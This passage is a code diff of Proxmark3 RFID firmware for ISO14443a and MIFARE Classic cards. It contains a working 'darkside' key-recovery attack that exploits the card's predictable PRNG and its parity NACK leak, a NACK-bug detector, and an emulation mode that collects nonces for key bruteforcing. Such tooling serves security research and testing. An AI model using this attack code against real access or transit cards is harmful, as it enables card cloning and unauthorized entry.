0x02; // bnr,nad,cid,chn=0; i-block(0x00) // put block number into the PCB real_cmd[0] |= iso14_pcb_blocknum; - real_cmd[1] = 0x00; //CID: 0 //FIXME: allow multiple selected cards - memcpy(real_cmd+2, cmd, cmd_len); - AppendCrc14443a(real_cmd,cmd_len+2); + memcpy(real_cmd + 1, cmd, cmd_len); + AddCrc14A(real_cmd, cmd_len + 1); - ReaderTransmit(real_cmd, cmd_len+4, NULL); - size_t len = ReaderReceive(data); - uint8_t * data_bytes = (uint8_t *) data; - if (!len) + ReaderTransmit(real_cmd, cmd_len + 3, NULL); + + size_t len = ReaderReceive(data, parity); + uint8_t *data_bytes = (uint8_t *) data; + + if (!len) { return 0; //DATA LINK ERROR + } else{ + // S-Block WTX + while((data_bytes[0] & 0xF2) == 0xF2) { + uint32_t save_iso14a_timeout = iso14a_get_timeout(); + // temporarily increase timeout + iso14a_set_timeout( MAX((data_bytes[1] & 0x3f) * save_iso14a_timeout, MAX_ISO14A_TIMEOUT) ); + // Transmit WTX back + // byte1 - WTXM [1..59]. command FWT=FWT*WTXM + data_bytes[1] = data_bytes[1] & 0x3f; // 2 high bits mandatory set to 0b + // now need to fix CRC. + AddCrc14A(data_bytes, len - 2); + // transmit S-Block + ReaderTransmit(data_bytes, len, NULL); + // retrieve the result again (with increased timeout) + len = ReaderReceive(data, parity); + data_bytes = data; + // restore timeout + iso14a_set_timeout(save_iso14a_timeout); + } + // if we received an I- or R(ACK)-Block with a block number equal to the // current block number, toggle the current block number - else if (len >= 4 // PCB+CID+CRC = 4 bytes + if (len >= 3 // PCB+CRC = 3 bytes && ((data_bytes[0] & 0xC0) == 0 // I-Block || (data_bytes[0] & 0xD0) == 0x80) // R-Block with ACK bit set to 0 && (data_bytes[0] & 0x01) == iso14_pcb_blocknum) // equal block numbers @@ -1814,101 +2260,151 @@ int iso14_apdu(uint8_t * cmd, size_t cmd_len, void * data) { iso14_pcb_blocknum ^= 1; } + // crc check + if (len >=3 && !check_crc(CRC_14443_A, data_bytes, len)) { + return -1; + } + + } + + // cut frame byte + len -= 1; + // memmove(data_bytes, data_bytes + 1, len); + for (int i = 0; i < len; i++) + data_bytes[i] = data_bytes[i + 1]; + return len; } //----------------------------------------------------------------------------- // Read an ISO 14443a tag. Send out commands and store answers. -// //----------------------------------------------------------------------------- -void ReaderIso14443a(UsbCommand *c) -{ +// arg0 iso_14a flags +// arg1 high :: number of bits, if you want to send 7bits etc +// low :: len of commandbytes +// arg2 timeout +// d.asBytes command bytes to send +void ReaderIso14443a(UsbCommand *c) { iso14a_command_t param = c->arg[0]; + size_t len = c->arg[1] & 0xffff; + size_t lenbits = c->arg[1] >> 16; + uint32_t timeout = c->arg[2]; uint8_t *cmd = c->d.asBytes; - size_t len = c->arg[1]; - size_t lenbits = c->arg[2]; uint32_t arg0 = 0; - byte_t buf[USB_CMD_DATA_SIZE]; + uint8_t buf[USB_CMD_DATA_SIZE] = {0x00}; + uint8_t par[MAX_PARITY_SIZE] = {0x00}; - if(param & ISO14A_CONNECT) { - iso14a_clear_trace(); - } + if ((param & ISO14A_CONNECT)) + clear_trace(); - iso14a_set_tracing(TRUE); + set_tracing(true); - if(param & ISO14A_REQUEST_TRIGGER) { - iso14a_set_trigger(TRUE); - } + if ((param & ISO14A_REQUEST_TRIGGER)) + iso14a_set_trigger(true); - if(param & ISO14A_CONNECT) { + if ((param & ISO14A_CONNECT)) { iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); - if(!(param & ISO14A_NO_SELECT)) { + + // notify client selecting status. + // if failed selecting, turn off antenna and quite. + if( !(param & ISO14A_NO_SELECT) ) { iso14a_card_select_t *card = (iso14a_card_select_t*)buf; - arg0 = iso14443a_select_card(NULL,card,NULL); - cmd_send(CMD_ACK,arg0,card->uidlen,0,buf,sizeof(iso14a_card_select_t)); + arg0 = iso14443a_select_card(NULL, card, NULL, true, 0, param & ISO14A_NO_RATS ); + cmd_send(CMD_ACK, arg0, card->uidlen, 0, buf, sizeof(iso14a_card_select_t)); + if ( arg0 == 0 ) + goto OUT; } } - if(param & ISO14A_SET_TIMEOUT) { - iso14a_timeout = c->arg[2]; - } + if ((param & ISO14A_SET_TIMEOUT)) + iso14a_set_timeout(timeout); - if(param & ISO14A_APDU) { + if ((param & ISO14A_APDU)) { arg0 = iso14_apdu(cmd, len, buf); - cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf)); + cmd_send(CMD_ACK, arg0, 0, 0, buf, sizeof(buf)); } - if(param & ISO14A_RAW) { - if(param & ISO14A_APPEND_CRC) { - AppendCrc14443a(cmd,len); - len += 2; - if (lenbits) lenbits += 16; + if ((param & ISO14A_RAW)) { + + if ((param & ISO14A_APPEND_CRC)) { + // Don't append crc on empty bytearray... + if ( len > 0 ) { + if ((param & ISO14A_TOPAZMODE)) + AddCrc14B(cmd, len); + else + AddCrc14A(cmd, len); + + len += 2; + if (lenbits) lenbits += 16; + } } - if(lenbits>0) { - ReaderTransmitBitsPar(cmd,lenbits,GetParity(cmd,lenbits/8), NULL); - } else { - ReaderTransmit(cmd,len, NULL); + + if (lenbits > 0) { // want to send a specific number of bits (e.g. short commands) + if ((param & ISO14A_TOPAZMODE)) { + int bits_to_send = lenbits; + uint16_t i = 0; + ReaderTransmitBitsPar(&cmd[i++], MIN(bits_to_send, 7), NULL, NULL); // first byte is always short (7bits) and no parity + bits_to_send -= 7; + while (bits_to_send > 0) { + ReaderTransmitBitsPar(&cmd[i++], MIN(bits_to_send, 8), NULL, NULL); // following bytes are 8 bit and no parity + bits_to_send -= 8; + } + } else { + GetParity(cmd, lenbits/8, par); + ReaderTransmitBitsPar(cmd, lenbits, par, NULL); // bytes are 8 bit with odd parity + } + } else { // want to send complete bytes only + if ((param & ISO14A_TOPAZMODE)) { + uint16_t i = 0; + ReaderTransmitBitsPar(&cmd[i++], 7, NULL, NULL); // first byte: 7 bits, no paritiy + while (i < len) { + ReaderTransmitBitsPar(&cmd[i++], 8, NULL, NULL); // following bytes: 8 bits, no paritiy + } + } else { + ReaderTransmit(cmd, len, NULL); // 8 bits, odd parity + } } - arg0 = ReaderReceive(buf); - cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf)); + arg0 = ReaderReceive(buf, par); + cmd_send(CMD_ACK, arg0, 0, 0, buf, sizeof(buf)); } - if(param & ISO14A_REQUEST_TRIGGER) { - iso14a_set_trigger(FALSE); - } + if ((param & ISO14A_REQUEST_TRIGGER)) + iso14a_set_trigger(false); - if(param & ISO14A_NO_DISCONNECT) { + if ((param & ISO14A_NO_DISCONNECT)) return; - } +OUT: FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + set_tracing(false); LEDsoff(); } - // Determine the distance between two nonces. // Assume that the difference is small, but we don't know which is first. // Therefore try in alternating directions. int32_t dist_nt(uint32_t nt1, uint32_t nt2) { - uint16_t i; - uint32_t nttmp1, nttmp2; - if (nt1 == nt2) return 0; - - nttmp1 = nt1; - nttmp2 = nt2; - for (i = 1; i < 32768; i++) { + uint32_t nttmp1 = nt1; + uint32_t nttmp2 = nt2; + + for (uint16_t i = 1; i < 32768; i++) { nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i; + nttmp2 = prng_successor(nttmp2, 1); - if (nttmp2 == nt1) return -i; - } + if (nttmp2 == nt1) return -i; + } return(-99999); // either nt1 or nt2 are invalid nonces } + +#define PRNG_SEQUENCE_LENGTH (1 << 16) +#define MAX_UNEXPECTED_RANDOM 4 // maximum number of unexpected (i.e. real) random numbers when trying to sync. Then give up. +#define MAX_SYNC_TRIES 32 //----------------------------------------------------------------------------- // Recover several bits of the cypher stream. This implements (first stages of) @@ -1916,156 +2412,215 @@ int32_t dist_nt(uint32_t nt1, uint32_t nt2) { // Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime" // (article by Nicolas T. Courtois, 2009) //----------------------------------------------------------------------------- -void ReaderMifare(bool first_try) -{ - // Mifare AUTH - uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; - uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; - static uint8_t mf_nr_ar3; +void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype ) { + + iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD); - uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); + BigBuf_free(); BigBuf_Clear_ext(false); + clear_trace(); + set_tracing(true); + + uint8_t mf_auth[] = { keytype, block, 0x00, 0x00 }; + uint8_t mf_nr_ar[] = {0,0,0,0,0,0,0,0}; + uint8_t uid[10] = {0,0,0,0,0,0,0,0,0,0}; + uint8_t par_list[8] = {0,0,0,0,0,0,0,0}; + uint8_t ks_list[8] = {0,0,0,0,0,0,0,0}; + uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE] = {0x00}; + uint8_t receivedAnswerPar[MAX_MIFARE_PARITY_SIZE] = {0x00}; + uint8_t par[1] = {0}; // maximum 8 Bytes to be sent here, 1 byte parity is therefore enough + uint8_t nt_diff = 0; - iso14a_clear_trace(); - iso14a_set_tracing(TRUE); - - byte_t nt_diff = 0; - byte_t par = 0; - //byte_t par_mask = 0xff; - static byte_t par_low = 0; - bool led_on = TRUE; - uint8_t uid[10]; - uint32_t cuid; - - uint32_t nt, previous_nt; - static uint32_t nt_attacked = 0; - byte_t par_list[8] = {0,0,0,0,0,0,0,0}; - byte_t ks_list[8] = {0,0,0,0,0,0,0,0}; - - static uint32_t sync_time; - static uint32_t sync_cycles; - int catch_up_cycles = 0; - int last_catch_up = 0; + uint32_t nt = 0, previous_nt = 0, cuid = 0; + uint32_t sync_time = GetCountSspClk() & 0xfffffff8; + + int32_t catch_up_cycles = 0; + int32_t last_catch_up = 0; + int32_t isOK = 0; + + uint16_t elapsed_prng_sequences = 1; uint16_t consecutive_resyncs = 0; - int isOK = 0; + uint16_t unexpected_random = 0; + uint16_t sync_tries = 0; - - - if (first_try) { - mf_nr_ar3 = 0; - iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD); - sync_time = GetCountSspClk() & 0xfffffff8; - sync_cycles = 65536; // theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the nonces). + bool have_uid = false; + bool received_nack; + uint8_t cascade_levels = 0; + + // static variables here, is re-used in the next call + static uint32_t nt_attacked = 0; + static int32_t sync_cycles = 0; + static uint8_t par_low = 0; + static uint8_t mf_nr_ar3 = 0; + + AddCrc14A(mf_auth, 2); + + if (first_try) { + sync_cycles = PRNG_SEQUENCE_LENGTH; // Mifare Classic's random generator repeats every 2^16 cycles (and so do the nonces). nt_attacked = 0; - nt = 0; - par = 0; - } - else { - // we were unsuccessful on a previous call. Try another READER nonce (first 3 parity bits remain the same) - // nt_attacked = prng_successor(nt_attacked, 1); + mf_nr_ar3 = 0; + par_low = 0; + } else { + // we were unsuccessful on a previous call. + // Try another READER nonce (first 3 parity bits remain the same) mf_nr_ar3++; mf_nr_ar[3] = mf_nr_ar3; - par = par_low; + par[0] = par_low; } - LED_A_ON(); - LED_B_OFF(); - LED_C_OFF(); - - - for(uint16_t i = 0; TRUE; i++) { + LED_C_ON(); + uint16_t i; + for (i = 0; true; ++i) { + + received_nack = false; WDT_HIT(); // Test if the action was cancelled - if(BUTTON_PRESS()) { + if (BUTTON_PRESS()) { + isOK = -1; break; } - LED_C_ON(); - - if(!iso14443a_select_card(uid, NULL, &cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Can't select card"); - continue; - } - - sync_time = (sync_time & 0xfffffff8) + sync_cycles + catch_up_cycles; - catch_up_cycles = 0; - - // if we missed the sync time already, advance to the next nonce repeat - while(GetCountSspClk() > sync_time) { - sync_time = (sync_time & 0xfffffff8) + sync_cycles; - } - - // Transmit MIFARE_CLASSIC_AUTH at synctime. Should result in returning the same tag nonce (== nt_attacked) - ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time); - - // Receive the (4 Byte) "random" nonce - if (!ReaderReceive(receivedAnswer)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Couldn't receive tag nonce"); - continue; - } - - previous_nt = nt; - nt = bytes_to_num(receivedAnswer, 4); - - // Transmit reader nonce with fake par - ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL); - - if (first_try && previous_nt && !nt_attacked) { // we didn't calibrate our clock yet - int nt_distance = dist_nt(previous_nt, nt); - if (nt_distance == 0) { - nt_attacked = nt; + // this part is from Piwi's faster nonce collecting part in Hardnested. + if (!have_uid) { // need a full select cycle to get the uid first + iso14a_card_select_t card_info; + if (!iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Can't select card (ALL)"); + continue; } - else { - if (nt_distance == -99999) { // invalid nonce received, try again - continue; - } - sync_cycles = (sync_cycles - nt_distance); - if (MF_DBGLEVEL >= 3) Dbprintf("calibrating in cycle %d. nt_distance=%d, Sync_cycles: %d\n", i, nt_distance, sync_cycles); + switch (card_info.uidlen) { + case 4 : cascade_levels = 1; break; + case 7 : cascade_levels = 2; break; + case 10: cascade_levels = 3; break; + default: break; + } + have_uid = true; + } else { // no need for anticollision. We can directly select the card + if (!iso14443a_fast_select_card(uid, cascade_levels)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Can't select card (UID)"); continue; } } - if ((nt != nt_attacked) && nt_attacked) { // we somehow lost sync. Try to catch up again... + elapsed_prng_sequences = 1; + + // Sending timeslot of ISO14443a frame + sync_time = (sync_time & 0xfffffff8 ) + sync_cycles + catch_up_cycles; + catch_up_cycles = 0; + + #define SYNC_TIME_BUFFER 16 // if there is only SYNC_TIME_BUFFER left before next planned sync, wait for next PRNG cycle + + // if we missed the sync time already or are about to miss it, advance to the next nonce repeat + while ( sync_time < GetCountSspClk() + SYNC_TIME_BUFFER) { + ++elapsed_prng_sequences; + sync_time = (sync_time & 0xfffffff8 ) + sync_cycles; + } + + // Transmit MIFARE_CLASSIC_AUTH at synctime. Should result in returning the same tag nonce (== nt_attacked) + ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time); + + // Receive the (4 Byte) "random" TAG nonce + if (!ReaderReceive(receivedAnswer, receivedAnswerPar)) + continue; + + previous_nt = nt; + nt = bytes_to_num(receivedAnswer, 4); + + // Transmit reader nonce with fake par + ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL); + + // Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding + if (ReaderReceive(receivedAnswer, receivedAnswerPar)) + received_nack = true; + + // we didn't calibrate our clock yet, + // iceman: has to be calibrated every time. + if (previous_nt && !nt_attacked) { + + int nt_distance = dist_nt(previous_nt, nt); + + // if no distance between, then we are in sync. + if (nt_distance == 0) { + nt_attacked = nt; + } else { + if (nt_distance == -99999) { // invalid nonce received + unexpected_random++; + if (unexpected_random > MAX_UNEXPECTED_RANDOM) { + isOK = -3; // Card has an unpredictable PRNG. Give up + break; + } else { + continue; // continue trying... + } + } + + if (++sync_tries > MAX_SYNC_TRIES) { + isOK = -4; // Card's PRNG runs at an unexpected frequency or resets unexpectedly + break; + } + + sync_cycles = (sync_cycles - nt_distance)/elapsed_prng_sequences; + + // no negative sync_cycles + if (sync_cycles <= 0) sync_cycles += PRNG_SEQUENCE_LENGTH; + + // reset sync_cycles + if (sync_cycles > PRNG_SEQUENCE_LENGTH * 2 ) { + sync_cycles = PRNG_SEQUENCE_LENGTH; + sync_time = GetCountSspClk() & 0xfffffff8; + } + + if (MF_DBGLEVEL >= 4) + Dbprintf("calibrating in cycle %d. nt_distance=%d, elapsed_prng_sequences=%d, new sync_cycles: %d\n", i, nt_distance, elapsed_prng_sequences, sync_cycles); + + LED_B_OFF(); + continue; + } + } + LED_B_OFF(); + + if ( (nt != nt_attacked) && nt_attacked) { // we somehow lost sync. Try to catch up again... + catch_up_cycles = -dist_nt(nt_attacked, nt); if (catch_up_cycles == 99999) { // invalid nonce received. Don't resync on that one. catch_up_cycles = 0; continue; - } + } + // average? + catch_up_cycles /= elapsed_prng_sequences; + if (catch_up_cycles == last_catch_up) { consecutive_resyncs++; - } - else { + } else { last_catch_up = catch_up_cycles; consecutive_resyncs = 0; - } + } + if (consecutive_resyncs < 3) { - if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, -catch_up_cycles, consecutive_resyncs); - } - else { - sync_cycles = sync_cycles + catch_up_cycles; - if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles); + if (MF_DBGLEVEL >= 4) { + Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, catch_up_cycles, consecutive_resyncs); + } + } else { + sync_cycles += catch_up_cycles; + + if (MF_DBGLEVEL >= 4) + Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, catch_up_cycles, sync_cycles); + + last_catch_up = 0; + catch_up_cycles = 0; + consecutive_resyncs = 0; } continue; } - consecutive_resyncs = 0; - // Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding - if (ReaderReceive(receivedAnswer)) - { + if (received_nack) { catch_up_cycles = 8; // the PRNG is delayed by 8 cycles due to the NAC (4Bits = 0x05 encrypted) transfer if (nt_diff == 0) - { - par_low = par & 0x07; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change - } + par_low = par[0] & 0xE0; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change - led_on = !led_on; - if(led_on) LED_B_ON(); else LED_B_OFF(); - - par_list[nt_diff] = par; - ks_list[nt_diff] = receivedAnswer[0] ^ 0x05; + par_list[nt_diff] = reflect8(par[0]); + ks_list[nt_diff] = receivedAnswer[0] ^ 0x05; // xor with NACK value to get keystream // Test if the information is complete if (nt_diff == 0x07) { @@ -2075,184 +2630,461 @@ void ReaderMifare(bool first_try) nt_diff = (nt_diff + 1) & 0x07; mf_nr_ar[3] = (mf_nr_ar[3] & 0x1F) | (nt_diff << 5); - par = par_low; + par[0] = par_low; + } else { - if (nt_diff == 0 && first_try) - { - par++; + // No NACK. + if (nt_diff == 0 && first_try) { + par[0]++; + if (par[0] == 0) { // tried all 256 possible parities without success. Card doesn't send NACK. + isOK = -2; + break; + } } else { - par = (((par >> 3) + 1) << 3) | par_low; + // Why this? + par[0] = ((par[0] & 0x1F) + 1) | par_low; } } - } - + + // reset the resyncs since we got a complete transaction on right time. + consecutive_resyncs = 0; + } // end for loop mf_nr_ar[3] &= 0x1F; + + if (MF_DBGLEVEL >= 4) Dbprintf("Number of sent auth requestes: %u", i); - byte_t buf[28]; - memcpy(buf + 0, uid, 4); + uint8_t buf[32] = {0x00}; + memset(buf, 0x00, sizeof(buf)); + num_to_bytes(cuid, 4, buf); num_to_bytes(nt, 4, buf + 4); memcpy(buf + 8, par_list, 8); memcpy(buf + 16, ks_list, 8); - memcpy(buf + 24, mf_nr_ar, 4); + memcpy(buf + 24, mf_nr_ar, 8); - cmd_send(CMD_ACK,isOK,0,0,buf,28); + cmd_send(CMD_ACK, isOK, 0, 0, buf, sizeof(buf) ); - // Thats it... FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); + set_tracing(false); +} - iso14a_set_tracing(FALSE); +/* +* Mifare Classic NACK-bug detection +* Thanks to @doegox for the feedback and new approaches. +*/ +void DetectNACKbug() { + uint8_t mf_auth[] = {0x60, 0x00, 0xF5, 0x7B}; + uint8_t mf_nr_ar[] = {0,0,0,0,0,0,0,0}; + uint8_t uid[10] = {0,0,0,0,0,0,0,0,0,0}; + uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE] = {0x00}; + uint8_t receivedAnswerPar[MAX_MIFARE_PARITY_SIZE] = {0x00}; + uint8_t par[1] = {0}; // maximum 8 Bytes to be sent here, 1 byte parity is therefore enough + + uint32_t nt = 0, previous_nt = 0, nt_attacked = 0, cuid = 0; + int32_t isOK = 0, catch_up_cycles = 0, last_catch_up = 0; + uint8_t cascade_levels = 0, num_nacks = 0; + uint16_t elapsed_prng_sequences = 1; + uint16_t consecutive_resyncs = 0; + uint16_t unexpected_random = 0; + uint16_t sync_tries = 0; + uint32_t sync_time = 0; + bool have_uid = false; + bool received_nack; + + // Mifare Classic's random generator repeats every 2^16 cycles (and so do the nonces). + uint32_t sync_cycles = PRNG_SEQUENCE_LENGTH; + + BigBuf_free(); BigBuf_Clear_ext(false); + clear_trace(); + set_tracing(true); + iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD); + + sync_time = GetCountSspClk() & 0xfffffff8; + + LED_C_ON(); + uint16_t i; + for (i = 1; true; ++i) { + + received_nack = false; + + // Cards always leaks a NACK, no matter the parity + if ((i==10) && (num_nacks == i-1)) { + isOK = 2; + break; + } + + WDT_HIT(); + + // Test if the action was cancelled + if (BUTTON_PRESS()) { + isOK = 99; + break; + } + + // this part is from Piwi's faster nonce collecting part in Hardnested. + if (!have_uid) { // need a full select cycle to get the uid first + iso14a_card_select_t card_info; + if (!iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Can't select card (ALL)"); + continue; + } + switch (card_info.uidlen) { + case 4 : cascade_levels = 1; break; + case 7 : cascade_levels = 2; break; + case 10: cascade_levels = 3; break; + default: break; + } + have_uid = true; + } else { // no need for anticollision. We can directly select the card + if (!iso14443a_fast_select_card(uid, cascade_levels)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Can't select card (UID)"); + continue; + } + } + + elapsed_prng_sequences = 1; + + // Sending timeslot of ISO14443a frame + sync_time = (sync_time & 0xfffffff8 ) + sync_cycles + catch_up_cycles; + catch_up_cycles = 0; + + // if we missed the sync time already, advance to the next nonce repeat + while ( GetCountSspClk() > sync_time) { + ++elapsed_prng_sequences; + sync_time = (sync_time & 0xfffffff8 ) + sync_cycles; + } + + // Transmit MIFARE_CLASSIC_AUTH at synctime. Should result in returning the same tag nonce (== nt_attacked) + ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time); + + // Receive the (4 Byte) "random" TAG nonce + if (!ReaderReceive(receivedAnswer, receivedAnswerPar)) + continue; + + previous_nt = nt; + nt = bytes_to_num(receivedAnswer, 4); + + // Transmit reader nonce with fake par + ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL); + + if (ReaderReceive(receivedAnswer, receivedAnswerPar)) { + received_nack = true; + num_nacks++; + // ALWAYS leak Detection. + if ( i == num_nacks ) { + continue; + } + } + + // we didn't calibrate our clock yet, + // iceman: has to be calibrated every time. + if (previous_nt && !nt_attacked) { + + int nt_distance = dist_nt(previous_nt, nt); + + // if no distance between, then we are in sync. + if (nt_distance == 0) { + nt_attacked = nt; + } else { + if (nt_distance == -99999) { // invalid nonce received + unexpected_random++; + if (unexpected_random > MAX_UNEXPECTED_RANDOM ) { + // Card has an unpredictable PRNG. Give up + isOK = 98; + break; + } else { + if (sync_cycles <= 0) { + sync_cycles += PRNG_SEQUENCE_LENGTH; + } + continue; + } + } + + if (++sync_tries > MAX_SYNC_TRIES) { + isOK = 97; // Card's PRNG runs at an unexpected frequency or resets unexpectedly + break; + } + + sync_cycles = (sync_cycles - nt_distance)/elapsed_prng_sequences; + + if (sync_cycles <= 0) + sync_cycles += PRNG_SEQUENCE_LENGTH; + + if (sync_cycles > PRNG_SEQUENCE_LENGTH * 2 ) { + isOK = 96; // Card's PRNG runs at an unexpected frequency or resets unexpectedly + break; + } + + if (MF_DBGLEVEL >= 4) + Dbprintf("calibrating in cycle %d. nt_distance=%d, elapsed_prng_sequences=%d, new sync_cycles: %d\n", i, nt_distance, elapsed_prng_sequences, sync_cycles); + + continue; + } + } + + if ( (nt != nt_attacked) && nt_attacked) { + // we somehow lost sync. Try to catch up again... + catch_up_cycles = -dist_nt(nt_attacked, nt); + + if (catch_up_cycles == 99999) { + // invalid nonce received. Don't resync on that one. + catch_up_cycles = 0; + continue; + } + // average? + catch_up_cycles /= elapsed_prng_sequences; + + if (catch_up_cycles == last_catch_up) { + consecutive_resyncs++; + } else { + last_catch_up = catch_up_cycles; + consecutive_resyncs = 0; + } + + if (consecutive_resyncs < 3) { + if (MF_DBGLEVEL >= 4) { + Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, catch_up_cycles, consecutive_resyncs); + } + } else { + sync_cycles += catch_up_cycles; + + if (MF_DBGLEVEL >= 4) { + Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, catch_up_cycles, sync_cycles); + Dbprintf("nt [%08x] attacted [%08x]", nt, nt_attacked ); + } + last_catch_up = 0; + catch_up_cycles = 0; + consecutive_resyncs = 0; + } + continue; + } + + // Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding + if (received_nack) + catch_up_cycles = 8; // the PRNG is delayed by 8 cycles due to the NAC (4Bits = 0x05 encrypted) transfer + + // we are testing all 256 possibilities. + par[0]++; + + // tried all 256 possible parities without success. + if (par[0] == 0) { + if ( num_nacks == 1 ) + isOK = 1; + break; + } + + // reset the resyncs since we got a complete transaction on right time. + consecutive_resyncs = 0; + } // end for loop + + // num_nacks = number of nacks recieved. should be only 1. if not its a clone card which always sends NACK (parity == 0) ? + // i = number of authentications sent. Not always 256, since we are trying to sync but close to it. + cmd_send(CMD_ACK, isOK, num_nacks, i, 0, 0 ); + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + set_tracing(false); } /** *MIFARE 1K simulate. * *@param flags : - * FLAG_INTERACTIVE - In interactive mode, we are expected to finish the operation with an ACK - * 4B_FLAG_UID_IN_DATA - means that there is a 4-byte UID in the data-section, we're expected to use that - * 7B_FLAG_UID_IN_DATA - means that there is a 7-byte UID in the data-section, we're expected to use that - * FLAG_NR_AR_ATTACK - means we should collect NR_AR responses for bruteforcing later + * FLAG_INTERACTIVE - In interactive mode, we are expected to finish the operation with an ACK + * FLAG_4B_UID_IN_DATA - use 4-byte UID in the data-section + * FLAG_7B_UID_IN_DATA - use 7-byte UID in the data-section + * FLAG_10B_UID_IN_DATA - use 10-byte UID in the data-section + * FLAG_UID_IN_EMUL - use 4-byte UID from emulator memory + * FLAG_NR_AR_ATTACK - collect NR_AR responses for bruteforcing later *@param exitAfterNReads, exit simulation after n blocks have been read, 0 is inifite +* (unless reader attack mode enabled then it runs util it gets enough nonces to recover all keys attmpted) */ -void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t *datain) -{ +void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t *datain) { + int cardSTATE = MFEMUL_NOFIELD; - int _7BUID = 0; + int _UID_LEN = 0; // 4, 7, 10 int vHf = 0; // in mV - int res; + int res = 0; uint32_t selTimer = 0; uint32_t authTimer = 0; - uint32_t par = 0; - int len = 0; + uint16_t len = 0; uint8_t cardWRBL = 0; uint8_t cardAUTHSC = 0; uint8_t cardAUTHKEY = 0xff; // no authentication - uint32_t cardRr = 0; uint32_t cuid = 0; - //uint32_t rn_enc = 0; uint32_t ans = 0; uint32_t cardINTREG = 0; uint8_t cardINTBLOCK = 0; struct Crypto1State mpcs = {0, 0}; struct Crypto1State *pcs; pcs = &mpcs; - uint32_t numReads = 0;//Counts numer of times reader read a block - uint8_t* receivedCmd = eml_get_bigbufptr_recbuf(); - uint8_t *response = eml_get_bigbufptr_sendbuf(); + uint32_t numReads = 0; // Counts numer of times reader read a block + uint8_t receivedCmd[MAX_MIFARE_FRAME_SIZE] = {0x00}; + uint8_t receivedCmd_par[MAX_MIFARE_PARITY_SIZE] = {0x00}; + uint8_t response[MAX_MIFARE_FRAME_SIZE] = {0x00}; + uint8_t response_par[MAX_MIFARE_PARITY_SIZE] = {0x00}; - uint8_t rATQA[] = {0x04, 0x00}; // Mifare classic 1k 4BUID - uint8_t rUIDBCC1[] = {0xde, 0xad, 0xbe, 0xaf, 0x62}; - uint8_t rUIDBCC2[] = {0xde, 0xad, 0xbe, 0xaf, 0x62}; // !!! - uint8_t rSAK[] = {0x08, 0xb6, 0xdd}; - uint8_t rSAK1[] = {0x04, 0xda, 0x17}; + uint8_t atqa[] = {0x04, 0x00}; // Mifare classic 1k + uint8_t sak_4[] = {0x0C, 0x00, 0x00}; // CL1 - 4b uid + uint8_t sak_7[] = {0x0C, 0x00, 0x00}; // CL2 - 7b uid + uint8_t sak_10[] = {0x0C, 0x00, 0x00}; // CL3 - 10b uid + // uint8_t sak[] = {0x09, 0x3f, 0xcc }; // Mifare Mini + + uint8_t rUIDBCC1[] = {0xde, 0xad, 0xbe, 0xaf, 0x62}; + uint8_t rUIDBCC2[] = {0xde, 0xad, 0xbe, 0xaf, 0x62}; + uint8_t rUIDBCC3[] = {0xde, 0xad, 0xbe, 0xaf, 0x62}; - uint8_t rAUTH_NT[] = {0x01, 0x02, 0x03, 0x04}; + // TAG Nonce - Authenticate response + uint8_t rAUTH_NT[4]; + uint32_t nonce = prng_successor( GetTickCount(), 32 ); + num_to_bytes(nonce, 4, rAUTH_NT); + + // uint8_t rAUTH_NT[] = {0x55, 0x41, 0x49, 0x92};// nonce from nested? why this? uint8_t rAUTH_AT[] = {0x00, 0x00, 0x00, 0x00}; - - //Here, we collect UID,NT,AR,NR,UID2,NT2,AR2,NR2 - // This can be used in a reader-only attack. - // (it can also be retrieved 